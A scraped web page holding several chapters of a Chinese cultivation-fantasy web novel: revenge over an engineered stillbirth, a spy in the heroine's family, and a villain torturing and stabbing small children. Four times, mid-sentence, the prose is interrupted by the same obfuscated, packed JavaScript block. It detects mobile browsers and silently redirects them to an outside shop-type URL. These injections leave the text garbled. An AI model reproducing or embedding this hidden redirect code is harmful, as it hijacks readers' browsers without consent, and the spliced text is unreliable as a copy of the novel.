就算做了那样多的恶事,可谁又能说,生活中就没有一星半点温馨的时刻? 人的感情是很复杂的。 孙喜欢男默然。 曾经被日夜折磨时,她无数次幻想,若有一日,赵延落到她手里,她必定将这一切都加倍,加十倍还回去。她觉得到了那时,自己肯定会非常快乐。 原来一点都不快乐。 当初赵延折磨她时,快乐吗? 想必是快乐的。 真不公平。 处理林潭时,她心里痛快极了,到了赵延这里,却总是少了种畅快,心里甚至隐隐有些失落。 原来竟因为,他是果儿的父亲吗? 可他那样葬送了果儿啊! “有人来了,很多。”林河忽然说。 出得门来,就见守山大阵正被攻击。 来的人果然很多,不但有离火宗的,还有青木宗的。 林木儿红着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199931|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,被秦炎半搂着,旁边站着秦旭,梅踪,后面还有秦钟许剑松柏等一众长老,再后面,便是青木宗的余芷,以及她的两位亲传弟子,和三位青木宗长老。 这样看起来,余芷是作为娘家人来为林木儿撑腰的。 苏一枝知道洞天已经彻底暴露,继续隐藏毫无意义,她也不惧眼前这些人,干脆现出身来,立在半空。 议论纷纷中,苏一枝只盯着林木儿瞧,过了一会,她啊了一声,状似惊讶:“你生啦?比预想的提前了很多呢。早产了?” “你!”林木儿眼睛红得更厉害了,她挣脱秦炎的束缚,指着苏一枝,“你明知故问!” “我明知什么?” “你敢说,我孩子的出事,不是你搞的鬼?” 此时林河也已现身,站在苏一枝旁边。 余芷看到他,大吃一惊:“林河!你怎么在这里!给我下来!” 林河装没听到,余芷还要再叫,又觉得不好盖过林木儿风头,只得先忍下,准备等苏一枝和林木儿吵完再说。 “你如今所遭受的一切,都是你自己贪心所致,与我何干。我问你,之前你去丹药峰,我可有跟你说过,如果你肯按我的药方调理,三个月后就可见喜?可你不屑一顾,也不信我。后来不过几天,你就有了身孕。这期间,你做了些什么,或者吃了些什么?” 苏一枝当初试出林木儿中了蓇蓉草之毒,对她说自己有个方子,服上三个月,便可见喜。其实三个月,是清除林木儿体内堆积毒素的时间。 误服蓇容草,只要在三个月内吃下枳枳花或枳枳果,便可解毒,并且怀孕。 但若中毒超过三个月,则需要用特定药方,连服三月,清除毒素,方可恢复正常,此时若再服下枳枳花,依旧可以怀孕。 那要是中毒超过三个月,又没有清毒,就服下枳枳花,单薄的子孙满堂花,碰上长年久月堆积的断子绝孙草,会怎样呢? 会怀孕,但会生下死胎。 苏一枝知道林木儿必然不可能听自己的,吃上什么三个月药方,所以她故意这么说,然后再私下里给柳益看那枳枳花。 柳益果然拿枳枳花炼药邀功去了。 为了独占功劳,他也绝不可能透露其中最重要的药材是从自己这儿拿的。 至于林木儿私下里又去找黑水邪神献祭,她只是用50年寿命换一个孩子,又没说是活的孩子还是死的孩子? 既然寿命都可以是别人的,那孩子为什么就不能是死的呢? 不管是服下子孙满堂花,还是献祭寿命许愿,孩子都不可能凭空出现,必须得夫妻同房。 林木儿先许了愿,然后跟鱼跃行鱼水之欢,鱼跃怎么可能会让她怀上自己的孩子,当场就使了些手段。 尔后她回到离火宗,吃下枳枳花做的丹药,再与秦炎有了肌肤之亲,二者终于同时生效,腹内生出死胎。 也就是说,那孩子从出现在母体里的那一刻起,就是死的,但它依然会一天天长大。 林木儿没有生产经验,不知道正常的胎儿会有胎动,加上平日里又高高在上,也无人会与她聊起这些。 秦炎当然就更不懂了。 所以才有了这样的悲剧。 “怀孕之前,你有做过什么,或吃过什么吗?”苏一枝再次追问。 林木儿几乎快要站不住。 一向强势明艳的五官,此刻看起来竟憔悴得有些楚楚可怜。 梅踪看不下去了,说:“你这话问得太笼统了,每个人每天做那么多事,吃那么多东西,谁还能全部记住啊。” “就是说呢。”余芷也帮腔,“虽然我们都是修真之人,也不可能完全断了口腹之欲,每日里东西还是会吃上一些的。再加上各种丹药,谁能记得清自己哪天都吃了些什么。” “是吗?”苏一枝笑靥如花,“看来二位都是坦荡之人。但我看林木儿的样子,她好像真的记得自己做过什么又吃过什么呢。” “如果不记得,我也可以帮忙回忆。”苏一枝缓缓张开右手,手心里静静躺着一枚黑色玄影石。 林木儿心中大震,瞳孔骤然收缩。 41. 第 41 章 “我承认!”林木儿抢在苏一枝左手指尖触上玄影石之前,急声说,“我承认,我太急于想要孩子了,所以做了一些事。” 原本还觉得苏一枝欺人太甚的众人霎时沉默,纷纷将目光转向林木儿。 林木儿看着苏一枝的手,斟酌着用词:“我逼着柳益研究药方,吃了他研究出来的新药。但柳益后来出了事,那药方有没有问题,我也不知道了。除此之外,我还做了一件事……” 苏一枝依旧张开右手掌心,玄影石静静躺着。 林木儿咬牙:“我听闻,黑水门的邪神可以助人实现心愿,但需得献祭寿命去换取。我实在太想要孩子了,所以,我向邪神许愿,献祭50年寿命,换取了一次怀孕机会。” 众人哗然。 秦炎意味深长看了林木儿一眼,轻轻揽过她,说:“怪我,秦家的家训,不准二娶,又必须生孩子,给你造成了太大压力,竟让你无奈之下不得不向黑水邪神求助。” 家丑不可外扬,是人都要面子,何况自傲如他。 “也是,情有可原。”许剑长老叹了句。 “我就说秦旺那家伙留下这么个家规很不地道。”秦钟长老说。 “在生孩子方面,女人总是比男人承受更大压力。”余芷叹息。 “所以不如像我这般,事先就说好,不生。”梅踪道。 秦旭拉了拉她袖子:“别说了。” “为什么不能说?”梅踪皱眉,“你到现在还觉得不生孩子低人一等吗?” “不,不是……”秦旭见不少人已经投来不满的目光,情急之下,吻上梅踪脸颊,待梅踪红着脸推开他,才说,“你多虑了。” “……”众人顿时将对梅踪的不满转成对对秦旭的鄙夷,这也太不合时宜了。 苏一枝看着底下众人的表演,轻笑一声,五指慢慢并拢,将玄影石收回。 她故意放慢速度,看林木儿因她的动作而提心吊胆,直到玄影石完全消失,才松了口气。 看来林木儿猜出了玄影石里的内容。 可笑那秦炎还在各种维护她。 真想看看秦炎看到那一幕时的脸色啊,肯定精彩极了,不过,看他的样子,他似乎也心知肚明。 也对,他最爱面子。 “如此说来,木儿一事,倒是与你无关了?”察觉到苏一枝视线,秦炎抬头,“可我倒不这么认为。” “哦?”苏一枝挑眉,她想放过他,他竟还来劲了? “你刚才的问话,分明是早就知道木儿所服之药有问题,为何当时不阻止?” 秦钟长老猛地一拍脑袋:“怪不得,我就说么,哪里怪怪的,还得是宗主。” “是谁规定我知道了就必须得阻止?正义感?你当初不是也知道我被林木儿多般折磨,为何没有阻止?还在我向你诉说时反咬一口?你怎么不对自己提这种见错必纠的要求?还是说,你觉得我天生正义感就比你多?看到不对的事就该阻止?” “再说了,就算我当时提醒阻止,她会信吗?我是不是有跟她说过,按我的方子,吃上三个月药,之后必能怀孕,她有听?事到如今,我不妨实话告诉你们,倒也不必认为柳益的药有什么问题。如果当时她听了我的话,乖乖吃上三个月药,然后再吃柳益给她的丹药,现在你们可能正抱着一双子女开心得嘴都合不上呢。” 杀人诛心。 林木儿彻底被击溃了。 “我杀了你!”她用尽所有力气,祭出一张勾绞符,直奔苏一枝而去。 林木儿擅用符,当初便经常拿苏一枝来给自己的各种符练手。经过这么多年,她的符比起当初,威力不知大了多少。勾绞符一出,千千万万条藤索,纠缠着,要将所遇之物悉数绞杀。 苏一枝冷笑:“自取其辱。要不是过去你曾那般羞辱于我,现在的你,做我对手都不配。” 她人根本没有任何动作,但那符在离她半步远时便停住了,然后所有勾缠着的藤蔓松散开来,断裂,跌落。 “我们来,从始至终,都不是想要与你动手,”秦炎看着散落一地的藤索从青气森森荆棘遍布到干枯黑死,然后消失,无奈道,“而是想与你谈合作。只是合作之前,有些事情得先说个清楚明白,以免彼此心里有疙瘩。” “合作?”苏一枝挑了挑眉,“你有何资格跟我谈合作?” 她抬手,朝虚空指了指:“这法阵,的确拦不住你们所有人,但我可以。” “眼下黑水门野心勃勃欲向南扩张。若我没猜错,你在黑水邪神那里已经有了存在感,你觉得,他们会放过你?也许你确实挡得住我们所有人,但黑水邪神呢?人多力量大,大家合作,各取所需,有何不好?”秦炎道。 “你们所需无非就是丹药,我有能力提供,而我所需的你们提供不了。”苏一枝笑了笑,“秦宗主,何必绕这么多道弯,你就直说,没了我的丹药,最近大家修为都停步不前,你着急了,是不是?” “什么?”最先跳起来的是许剑长老,“我说怎么最近进步如此之慢,竟是因为,因为……你这妖女,为何害人?” 秦钟眼里迸出希望之色:“竟是因为丹药,我还以为自己年纪大了,修为要止步于此了呢。” 青木宗的三个长老,有两个都一脸茫然,苏一枝便指着那两人道:“你们这些跳脚说自己修为停滞了的,就不要得了便宜还卖乖了,你们修为停滞,说明之前用的是我玄天鼎炼出的药。玄天鼎所出有限,能用上,证明人缘地位都过得去。像这两位,我估计平时在青木宗比较边缘吧,他们就没受影响。” 那两个青木宗长老一个姓武,一个姓于,此时俱都脸上青一阵红一阵,不知该气愤平时被排队在核心之外,分不到好东西,还是该庆幸自己修炼速度到现在依旧如常。 余芷一双美目怒视苏一枝:“我青木宗与你无怨无仇,为何连我们都害?” “谁说我害你们了?”苏一枝勾起嘴角,“玄天鼎炼出的药,不但蕴含大量灵力,还会扩充你们灵府灵脉,让你们吸收更快,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220678|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们服用之后,会觉得修炼速度提高许多。换了普通丹药,提供的灵力极其有限,而灵脉却已经变粗了,那点细微的灵力进去根本起不到任何作用,这天地间灵气又很稀薄,感觉修炼起来毫无效果,不是很正常吗?” “意思就是我们若想继续提升修为,只能靠你了?” “我本来也没想过要离开丹药峰呀,又不是故意要害你们。可问题是,有人不愿意啊,不是为了让我走,还搬出了黑水邪神么?那黑水邪神,我可惹不起。” “黑水邪神是有人找来的?”许剑长老目光冷了下来,“是谁?” 当初他有心仪的新弟子在丹药峰被害,为了赶走苏一枝,他也出了很大一份力,大半夜的跟一众长老聚集离心殿,大有不赶走苏一枝就不罢休之势。 好在没闹多久,就听说苏一枝离开了。 他觉得自己胜利了,原来,只是被人利用,做了回小丑吗? 许剑脾气直且火爆,平日里很少出来是因为醉心剑道不愿多管闲事。可有些事一旦他管了,就非要管出个子丑寅卯来。 “是谁?”见众人不出声,许剑又问了次。 “行了,今天就先到这里,是我草率了,对不住大家,大家先回去吧。”秦炎制止了许剑的再次发问,扬声道,“看来今天很难达成合作,不过只要你愿意,离火宗的大门永远为你敞开。” “切,谁稀罕似的,以为是什么好地方啊。”一直站在旁边看戏的林河嘲讽道。 余芷本已抬脚准备跟随众人离开,闻言才想起还有个林河,她抬头:“林河,跟我回去!” “行了,观众都散场了,你戏演给谁看。”林河不耐烦,“林潭父子死光,你丈夫如愿以偿当了宗主,我又离开了,不是正合你意?在那装什么慈母,赶紧走,看着烦。” “你!林河,我自认对你问心无愧……” 林河捂住耳朵。 苏一枝啪,彻底关闭法阵,隔绝了余芷视线。 “你就这么讨厌那位养母?” “我对你问心无愧,这句话她念了整整11年,每天最少都要念上三遍。” “她这么强调自己问心无愧,是不是问心有愧?” “算了,不说她了,”林河说,“你准备就这样放过林木儿了吗?” “还没到她死的时候,就连林桐桐都还活着呢。” “你不说我都忘了,怎么感觉好些日子没见到林桐桐了。”林河记得之前林木儿总喜欢拉着林桐桐一起行动,可最近巡山每次看到林木儿都是一个人,不见林桐桐。 苏一枝皱眉,林河这么一说,她也觉得好久没看到林桐桐了。 当下她便放开元神,在方圆千里之内搜寻。 她已经合体期了,千里之内,元神收放自如。 没有,哪儿都没有林桐桐的身影。 苏一枝暗道奇怪,当下便进入空间,去到神木之端,在林桐桐经常活动的几个地方找,也不见踪迹。 林桐桐去哪了? 42. 第 42 章 此时的林桐桐,正百无聊赖呆在一个苏一枝怎么都想不到的地方,苏家村。 起初她十分无语,不明白林木儿为啥要给自己安排这么个任务,不过,她向来不敢忤逆林木儿,只得答应。 也好,至少不用担心会被林木儿折腾。 如今自己年纪也不小了,很难再跟十几二十岁的小姑娘打成一片,自然也就不好再骗人去给林木儿当出气筒,倒霉的只能是自己。 要不是看在鱼跃的面上,她恨不得能离林木儿越远越好。 想到鱼跃,林桐桐脸上又现出纠结的神色来。 她摸了摸怀里的?草,所剩已经不多,想省着点,留到以后见鱼跃时再用,可是…… 可是她来见苏一枝家人时,用的便是当下这张脸,总不能接触了一段时间后,越变越难看吧? 苏一枝全家可都当自己是什么仙子呢,尤其是那个苏三枝,对自己崇拜有加。 哪有越来越丑的仙子啊,林桐桐现在真是骑虎难下。 她坐在一处长满竹子的土坡上,皱着一张脸,看向苏一枝的家。 苏一枝家人多,房子也多,看起来应该是老房子没动,在周围扩建了一圈新房,显得中间那处老房子格外突兀,尤其是墙上还插着一排干枯的竹子,她数了一下,共有七枝。 初见苏家人,林桐桐是震惊的,万万没想到,普通人家,竟也会生育这么多。 虽然来之前对基本情况已经有所了解,但亲眼看了,感受还是不一样。 苏一枝家里目前共有六个人,五女一男。 母亲王闲云,48岁,那个男的是大儿子,叫苏光宗,27岁,往下就都是女儿,苏三枝,23,苏五枝,17,双胞胎苏六枝苏七枝,15。 一一介绍认识了之后,林桐桐实在没忍住,一脸敬佩看着王闲云,问:“都是你生的?” 她自己虽然也姐妹众多,但生母都各不相同。 王闲云笑了,一脸自豪:“那当然。” 然后话锋一转,又沮丧道:“就是因为生了他们,这么些年才过得如此辛苦。要不然,我日子过得不知多好。” 林桐桐自称是个散修,四处寻找有缘弟子,苏三枝对此表现出极大兴趣,问她自己如何。 一试之下,林桐桐差点都不知道谎话该怎么编了,苏三枝是三灵根,这要是哪个修仙家族出了这样的杂灵根,会直接当废人看待,可…… “倒是有些灵气,不过我收弟子,最重要的是考察心性,灵根倒是其次。”她硬着头皮说。 谁知苏三枝一听,更高兴了:“我心性好得很,师父你就住在我们家,慢慢考察吧。” 几乎不费吹灰之力,林桐桐就打入了苏家内部。 慢慢熟悉后,她尝试着向苏家人打听苏一枝。 听说以前王闲云曾经带着家人去过离火宗,还不止一次,但林桐桐都不在场,没见识到,所以也不太了解苏家人对苏一枝的态度。 “你叫苏三枝,妹妹又叫苏五枝苏六枝苏七枝,那是不是还有别的枝?” 苏三枝指着插在墙上的那枯竹:“看到了吗?一二三四五六七,所以我们其实是有七姐妹。” 林桐桐虽然心里知道,却还是忍不住叹了句:“都是你妈生的?” 苏三枝咬了一口林桐桐带来的“仙果”,点头:“就是生得太多,身体才这样不好,基本什么都干不了。而且生六枝七枝时难产了,七枝在里面憋了太久,现在脑子才那样不灵光。” “那……其他几姐妹呢?” “其他?哦,”苏三枝刚举到嘴边的手垂下来,“二姐和四妹都不在了,三年前吧,差不多同一时间,两个都是因为生孩子。” “啊,抱歉。” “没事。在我看来,她们其实有点咎由自取。” “怎么说?” “二姐总觉得自己比大姐强,如果她遇到大姐那样的机会,定不会白白浪费。为了证明自己,她发誓也要嫁一个仙门的人。可这穷乡僻壤的,哪里有什么仙门的人啊。18岁那年,她遇到个散修,匆匆忙忙就嫁了。婚后往家里拿了不少灵石,我们都以为她真的遇到了好人,谁知……谁知她因为总拿灵石补贴娘家,被夫家瞧不起。她就拼命生孩子,三年抱俩,生第三个的时候,血崩死了。” “四妹,呵呵,我都不想认她这个妹妹。明明小的时候,我们说好了,以后都不嫁人,我努力修炼,保护她。她嘴上答应得好好的,结果才15岁,就背地里跟隔壁村猎户勾搭,有了身孕。那猎户骗她把孩子生下来,她着了魔一样,不听我们的劝,跑到猎户家里去生孩子,母子双亡,还没满16岁。” “确实,我们这种普通人家的女儿,想不结婚,实在太难了。多少人盯着你,抢也要把你抢去替他们生孩子。所以,命好点的,被仙门的人娶了去,虽然也是生孩子,但万一死了,还能有点补偿,尽管那补偿自己拿不到,那也比给普通男人生孩子强。拼死拼活生,活着痛苦,死了也白搭。我哪种都不想要,我就想修炼,可以保护自己,然后一辈子不结婚。虽然我灵根驳杂,但我相信功夫不负有心人,只要我努力,早晚能到筑基。” 林桐桐还没从那些姐姐妹妹死啊死的悲剧中缓解过来,就听到这番豪言壮语,不由有些呆,问:“你的追求,就只有筑基吗?” “那不然呢?”苏三枝终于又将果子送到嘴边狠狠咬了一口,“人不能做不切实际的梦,我的资质,又没人指点,能筑基就不错啦。而且,我只需要跟周围那些根本不修炼的人比,只要能比他们强壮,不受他们欺负,可以一个人自由生活,然后再活得久些,就行了呀。” “你就这么讨厌结婚生孩子?”林桐桐理解不了这种想法,她做梦都想着能嫁个不错的仙门弟子,然后给他生孩子,只可惜自己在仙门地位低微,人又长得不好看,用师父的话说,高不成,低不就,以至于蹉跎到了现在。 “当然!”苏三枝面露忿色,“我讨厌女人的这种宿命!凭什么就要任人宰割? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228879|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭什么唯一的价值就是生孩子?我母亲天天以自己能生自豪,可能生又给她带来了什么?虚弱的身体?苍老的面容?还是男人死后只能靠子女养活天天发泄不完的怨气?她动不动就说,如果不是生了我们,她身体就不会那么差,可是谁让她生那么多了?自己总抱怨生孩子太多,苦,然后又希望把我们嫁给有钱的男人去帮人家生孩子,换灵石来给大哥娶亲,真是好笑。” 林桐桐好奇:“你大哥长得还不错,看起来也孔武有力,在普通人里应该很好娶亲才对,怎会到现在都未娶?” “我大哥的确是孔武有力,他继承了父亲的大力,原本可以用这力气让家人过上不错的生活,但是……他13岁时,跟父亲去猎兽,亲眼看到父亲死于灵兽之口,然后就留下了心病,空有一身力气,却连有灵兽的地方都不敢去。这个样子,如何养家糊口?他自己倒也知道,从不强求,是母亲天天念叨着要我们多攒灵石给他娶亲。母亲她,被这世俗观念影响太深,明明那些观念就是在吃女人,明明自己也是女人,却偏偏要为虎作伥。” 林桐桐看着她,有些迷惘。 她一时分不清,这苏三枝的思想究竟是对还是错了。 自世界土灵消失,大部分女人便失去了修炼机会,唯一功能便是生孩子,这是事实。 可若要让她说女人都活得有多苦,她也没太多实感。从出生以来,她所感受到的苦,都是因为自己出身旁支,又不够出色,被边缘化,如此等等。她倒从来没有意识到身为女人本身就很苦。 因为她即使地位边缘,但仍生在仙门? 所以她无视了那些被仙门修士娶回来的,一个又一个,没有名字,因生育而死的凡人女子? 像苏三枝这种思想的,林桐桐之前也不是没遇到过,她遇到过,一个,那就是死去的钟仙。 可钟仙背后有整个钟家,有足够的财力与人脉可以支撑她为所欲为。 苏三枝有什么呢?竟比她们这些修真之人更为大胆。 而且,钟仙最后还不是迷恋上了林河,吵着闹着想给人家生孩子人家都不要,最后甚至因为女为己悦者容这事死在了沼泽。 林桐桐摸了摸怀里所剩不多的?草,心想,也许苏三枝就是没遇到心仪之人罢了。 “原来你父亲有大力气。我看五枝六枝七枝比较像你母亲,你跟你大哥不太像母亲,但也长得很好,可想而知,你父亲长得也不错。”林桐桐说,“如此说来,你母亲愿意为你父亲生那么多孩子,倒是可以理解。” 苏三枝一直紧绷着的脸终于绽放出花一般的笑容,但很快那笑又淡了下来:“我父母确实都长得不错,所以我们也都不差。而且,大哥的力气大还不是最厉害的,我们家最厉害的是小弟,纯粹金灵根,天赋很高。只可惜,幼时出门寻师,至今未归。” 她笑起来跟苏一枝有点像,看得林桐桐心里很不舒服,铺垫了这么久,她终于可以把话题扯到苏一枝身上了:“那你应该还有个大姐才对,你大姐呢?” 43. 第 43 章 苏三枝脸上的笑容彻底消失了。 “大姐是我们家命最好的,但她却没有珍惜。” “怎么说?”林桐桐来了精神。 “她16岁就被仙门看中,带去修炼,然后做人家少主儿媳。看得出来那人家是真心对她不错的,什么都考虑到了,也给我们留了很多很多的灵石。只可惜……” “可惜什么?”林桐桐急死了,恨不得苏三枝片刻不停一直说下去。 “只可惜,留给我们的灵石,母亲拿来扩建了房子,又借了许多给那些不知从哪里突然冒出来的亲戚。然后小弟拿着剩下的灵石去仙门拜师,还被人抢了,那些人逼着小弟带他们回家,把我们家抢了个精光。好在,仙门每月会派人送来一定数量的灵石,所以我们日子也还过得下去。但我那大姐,如此好的机会,她毫不珍惜。听人说,她在仙门,一不修炼,二不理睬未来夫婿,每天就在那里闹腾,甚至还闹着要解除婚约。最后仙门的人没办法,找到我们,希望我们劝劝她。可她不听劝啊,也不怎么愿意搭理我们。再后来,仙门许久没有派人送灵石来,母亲带着我们去打听,才知道,我那大姐,竟然跑了。” “这……”林桐桐也没想到苏三枝的版本是这样的,不知该怎么接话才好,好在苏三枝也没等她接话。 “二姐四妹她们,都羡慕大姐,说她有个好夫家。我也羡慕大姐,不过不是羡慕她有好夫家,而是羡慕她能进入仙门最大的门派学习。可这么好的机会,她偏偏不知珍惜。如果是我,定是没日没夜修炼,给自己争取个好未来。你说她,又不好好修炼,又闹着解除婚约,也不想想,解除婚约后,她凭什么自立于这世道呢?到头来还不是被迫要嫁给个不知什么人,搞不好得回头嫁王大胖。就她那跟灵兽沟通的本领,虽能维持生活,但面对坏人,她有本事反抗吗?脑子里想什么,不肯修炼,要逃跑。” “王大胖又是谁?”林桐桐瞪大了眼睛,从秦炎到王大胖,与苏一枝相关男人的差距,光从名字上听就如此巨大,可是,等等,“和灵兽沟通的本领?你大姐?” “对啊。”苏三枝甩了甩胳膊,将果核扔出老远,“父亲去世后,大姐用这本领养了我们一年。后来母亲逼她嫁给王大户,那王大户又老又胖,特别吓人,好在她还没嫁,就被仙门的人带走了。后来她闹来闹去那会,母亲说,如果她真跟仙门解除了婚约,回来还是要把她嫁给王大户的,她不嫁,就是我嫁。那时我才13岁啊,就要把我嫁给王大户?我真是又气又怕。好在王大户家里那个修真的,听说是去什么妖林里除妖,结果死了,王大户也就不是王大户了。” 林桐桐已经没有心思听她说什么王大户王小户,她找了个借口结束谈心,然后给林木儿发了个传讯符,告诉她自己发现的这惊天消息。 “原来苏一枝通兽语,能跟灵兽沟通!” 腰间传讯符振动的时候,林木儿正在吓唬赵延的那几个孙子孙女。 她收起沾血的带刺藤条,打开消息一看,当场就气笑了。 “白痴!这也值得大惊小怪!这种事情,要是放到十年前,还能拿来说道说道,现在苏一枝已经这样厉害,通个兽语有什么了不起?” “等等!”林木儿突然意识到什么,“难道当初,她就是被灵兽救了,所以才没死?” 所以,地坑里究竟有什么? 自从确认了苏一枝的回归,林木儿一直绞尽脑汁,想查出过去的十年,苏一枝究竟躲在哪个角落,又如何得到这一身本领。 现在她忽然觉得,其实最该弄清楚的,是当初苏一枝到底是如何活下来的,毕竟,她是被折磨到奄奄一息,肢体碎碎,残缺不全扔进的地坑。 离火宗有两大坑,南边的天坑,天火从宽阔深不可测无边无际的坑底喷薄而出,万年不熄,是离火宗火灵来源,也是离火宗的立宗根本。 所以离火宗但凡有重大事件,必会举行祭天坑典礼。 曾经在很久以前,还曾经有过活人祭,被祭的都是些犯错的弟子,或偷情逃跑的女子,将活人扔进天坑,被天火所焚,直接灰都不剩,无影无踪。 后来秦家当了宗主,这个活人祭就被取消了。 而与天坑相对的,便是地坑。 在离火宗北边,朝露阁和灵植园的后头,有片很大的林子,叫北林,北林里猛兽出没,凶险无比,出了北林再往北,越过一片焦黑荒芜的地带,就是地坑了。 地坑没有那么大,从北林边缘起,往沼泽里延伸,大概能有600余里。 和天坑的熊熊烈火不同,地坑里喷涌而出的,是浓重的毒沼和怨气,那毒怨之气阴寒至极,以至于周边连草木都无,更别提活物。 那次她让秦玉芝去骗苏一枝,然后将苏一枝带进青木宗地牢,很是畅快地折磨了一段时日,直到见苏一枝破败不堪,快要死掉,怕被别人发现终究不太好,于是突发奇想,觉得既然天坑可祭,那地坑呢?扔人进去会如何? 因毒怨之气过重,她们用掉好几张避瘴符,才将苏一枝残破的身体带到地坑边缘,扔了进去。 之后十年,无事发生。 直到那次纳新,苏一枝再次归来。 林木儿一口贝齿几乎咬碎,她传讯给林桐桐:“既已取得信任,便速速归来,另有重要任务安排。” 传完讯,林木儿再次举起藤条:“小可爱们,看来你们的爷爷和爸爸真的不要你们了呢。怎么办?” 三个孩子身上早已血肉模糊,此时都呆呆望着林木儿,一言不发,连哭声都没有。 “平时爷爷最疼谁呀?”林木儿问。 “他!”说话的是5岁的赵依依,她将手指向4岁的赵希来。 林木儿笑了:“你一定以为,爷爷最疼谁,我就会折磨谁折磨得最惨,是不是?” “但是你猜错了。”她扬起手,藤条落到赵依依身上,往回一拉,倒刺带下一块血肉来,“爷爷最疼的,当然要留到最后,最不疼谁,才要先杀谁呢。你们都点魂灯了吧?” 赵依依疼得脸上的肉全部在抖动,一张血乎乎的小脸皱成一团,但她依然再次伸出手,指向了6岁的堂姐赵双儿,声音颤抖:“最不疼她。” 小小的女娃,想用她稚嫩的狡猾,为自己求一条生路。 “我承认爷爷确实最不疼我,”相比赵依依,赵双儿冷静得多,“但就因为最不疼我,所以根本没有为我点魂灯,你杀了我,他也不知道。” “真的吗?”林木儿说,“我不信。” 一把碧色小刀从她掌心飞出,瞬间没入赵双儿胸口。 这把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240059|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草叶刀是林木儿最爱的武器,当初只是个中品灵器,早该淘汰,可她舍不得,想尽办法,愣是把它升级成了中品法宝。 “呵呵,小骗子。”林木儿笑。 赵双儿难以置信地低头看向自己胸前,大片鲜血晕出,水绿色裙衫已然被染透。 与此同时,地牢里的赵延发出一声嘶哑凄厉的惨叫。 “双儿!”他捂住胸口,随即又因这动作而被丛棘所伤。 “呵……”他干脆靠在那丛棘上,任由阵阵钻心疼痛袭来,身体不停抽搐。 片刻后他死灰的眼眸又有了一丝神采,赵双儿灭掉的魂灯,重新亮了起来,虽然很是黯淡,但确确实实亮着。 赵延知道,这是林木儿给他的最后警告。 如果他还不能将孙喜男送到林木儿面前,赵双儿魂灯会永远熄灭,然后会是赵依依,最后赵希来。 他想告诉林木儿,孙喜男就在青山,在苏一枝这里,可他被灵力所束缚,根本无法使用传讯符。 赵延忍着几乎要将神魂搅碎的疼痛,站直了身体,他已经下定了决心。 许萱再次下来的时候,赵延叫住了她,“萱,求你,救我出去。” “即使我放你出了这地牢,你也根本出不去。”许萱摇头,“你都不知道他们有多厉害。” “那你有机会出去吗?” “我出去又有何用?恐怕刚出了法阵,就会被山里的猛兽吃掉。” “就在刚刚,双儿被杀了。” “什么?”许萱抓住了赵延的肩膀,这丛棘只会伤害赵延,却对她无半点影响。 “林木儿,杀了双儿,双儿死了,但不一会又活了,很虚弱的样子。如果我再不出去,双儿就会真的被杀死,不光双儿,依依,希来,都会死。”赵延情真意切,“萱,我死不足惜,可是孩子们……” “但你真的出不去。”许萱哭了。 “我知道,只要你能出去就行。” “我一个弱女子,即使出去了,也下不了山,连回到青木宗都不可能。就算侥幸,回到了青木宗,我又如何阻止那林木儿,没有你,我以后如何在青木宗立足。”许萱哭红了双眼,虽上了年纪,看着仍是楚楚惹人怜。 赵延咬牙:“我身上,有枚长老印信,有了这个,我在青木宗所有的一切,这些年攒下的资产,人脉,就都是你的。” 许萱停住了哭泣,看着赵延,没有说话。 “轻舟和乘风应该还在附近,你虽没有灵力,发不了传讯符,但我可以教你用山间材料制作信号弹。你先将信号弹制好,出去后,第一时间发出去,轻舟和乘风会来接应你。然后,让轻舟乘风把我落到苏一枝手里的事告诉林木儿。若是她仍不肯放了孩子,你们就回青木宗,召集我们自己人,逼宗主去给林木儿施加压力。” “记住,动作要快,时间不等人。” 许萱低着头,快步走出地牢。 待她走远后,旁边亭子里,苏一枝林河以及孙喜男的身影显现出来。 “她定是去制造那什么信号弹了,我去阻止。”孙喜男说。 “由她去。”苏一枝想了想,对孙喜男招手,让她附耳过来。 林河也将耳朵侧过来,听完苏一枝的话,两人先是呆住,然后便都笑了。 44. 第 44 章 